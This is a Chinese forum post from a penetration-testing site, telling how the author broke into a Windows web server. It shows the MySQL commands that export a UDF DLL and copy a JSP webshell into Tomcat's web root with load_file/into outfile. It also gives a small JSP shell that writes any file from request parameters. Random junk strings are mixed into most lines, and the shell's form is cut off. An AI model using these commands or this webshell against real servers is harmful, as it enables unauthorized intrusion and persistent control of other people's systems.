中国网络渗透测试联盟

标题: 解决Win下MySQL root导出Webshell换行符问题 [打印本页]

作者: admin    时间: 2013-3-8 21:52
标题: 解决Win下MySQL root导出Webshell换行符问题
今天碰到了这么个问题,简单记录一下我的解决方案。
2 B* ], e1 O5 W" n5 a- F$ N) q) e5 y* v% ^0 N" s- W# n# P. |
首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php
1 y6 E& I" F8 Z0 E" i安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
2 o6 G: Y# u" o, M提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
$ _" L, H' u! u9 O, r! A8 I& t1 show variables like '%plugin%';8 Q' \" N' V( @6 b: m' i
后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功
. Z1 _' N2 `/ {$ u5 k0 r创建自定义函数似乎被拦截,一直失败。& U5 g; e2 p! ^+ z3 ^5 X9 `4 N
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限
+ b; \/ H0 [4 J2 v4 T; M7 d- ?1 K测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp
5 g! \( b$ m  l! Y3 q3 N: V用mysql执行语句:7 ]5 N; K- G/ T1 ?
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'/ P$ X2 J7 |/ _2 T2 c4 v
2 复制代码
* ~* y* S1 b9 A; D& Q" m: h后成功。
  c2 N9 u: O. u  a/ A3 O3 z但是访问后得到如下提示:  J6 j4 P& _: [4 T9 G3 `& `0 T: \
​500页面* t3 d) N8 d: ?) E) p! S$ _# d5 l! f9 z$ V
0 j" J, Z: O# x) h/ K) H$ N" n

' a# ]2 z. b+ X2 C& ~明显是MySQL的Win下版本自动添加转义符\n\r了9 U: s; Y1 Y( S! X5 o  l4 w
这样导致程序运行的悲剧。
: [& Y* Q' ^. P% U: j4 N1 X8 s从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。
/ t3 H5 S2 n  r5 \4 h最后弄了这么个小脚本:
5 \4 j6 E* z# Q, E( T: i01 <%@ page language="java" pageEncoding="gbk"%>4 b( y$ E5 x/ }" W" o/ [
02 <jsp:directive.page import="java.io.File"/>0 _  S, }/ X7 H. k+ \' D
03 <jsp:directive.page import="java.io.OutputStream"/>
6 l) W: L; d, R& l% I3 ]' W- {04 <jsp:directive.page import="java.io.FileOutputStream"/>
& t5 s; {: V1 d9 g3 n" n05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
5 T; l2 E$ R. c! i5 ~! C( L3 m06 error www.2cto.com
9 @0 J* ]4 t7 w. i2 J& ]07 <%}}if(i==0){%>
( G9 v1 J3 j$ }5 W$ v9 M5 C08 ok
3 C1 o; F# Y: j. b" F- g6 p2 A" z% w09 <%}%>
5 D/ }- ^6 L/ A6 ~10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
4 _# x; `. @. P( M% b; Y# B: i就可以避免转义符让JSP的马儿运行500错误了。
, `" @( V$ X% ~6 d; e




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2